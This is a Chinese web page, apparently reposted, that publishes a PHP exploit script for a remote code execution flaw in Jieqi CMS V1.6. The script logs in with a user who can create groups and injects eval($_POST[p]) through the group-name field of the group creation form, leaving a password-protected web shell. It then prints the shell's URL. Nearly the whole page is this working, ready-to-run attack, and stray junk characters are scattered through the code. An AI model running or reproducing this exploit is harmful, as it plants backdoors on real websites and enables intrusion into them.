Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

admin

杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。
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该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
需要有一个能创建圈子的用户。

<?php
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print_r('
7 @' V7 b! X. w# B7 b0 ]+---------------------------------------------------------------------------+
2 h. y. l4 L- {* \Jieqi CMS V1.6 PHP Code Injection Exploit
& Y7 C; X) Z1 {5 q8 Vby flyh4t
2 c9 ?" X, {9 K! t2 A9 email: phpsec at hotmail dot com
team: http://www.wolvez.org
7 k  ?1 t( W. q+---------------------------------------------------------------------------+
' t( j5 M1 K( W1 n/ S7 ~'); /**
% c3 I1 K+ g6 h# M& V- X; ~2 O$ L+ S7 f * works regardless of php.ini settings
/ l- {8 Y  _# {* m. m- H! H*/ if ($argc < 5) { print_r('
+---------------------------------------------------------------------------+
- {3 ^" t/ T9 [- lUsage: php '.$argv[0].' host path username
host:      target server (ip/hostname)
path:      path to jieqicms
uasename:  a username who can create group
0 |& j2 c" {  Z6 G5 V& |Example:
2 M) n2 C8 P1 A6 gphp '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
- \  O. q( P! \) n* m# j+---------------------------------------------------------------------------+
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
Content-Disposition: form-data; name="gname"

'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
# F1 {$ ~' C+ X/ a, ~* o& N-----------------------------23281168279961
Content-Disposition: form-data; name="gcatid"
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2 O; U2 g8 I5 F! V' p-----------------------------23281168279961
Content-Disposition: form-data; name="gaudit"
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  _+ e! v6 P- w8 O; @' i4 ~-----------------------------23281168279961
Content-Disposition: form-data; name="gbrief"

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8 ~( ^9 \3 z6 o9 t2 c-----------------------------23281168279961--
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com

3 \) |6 f; h5 U  ^preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;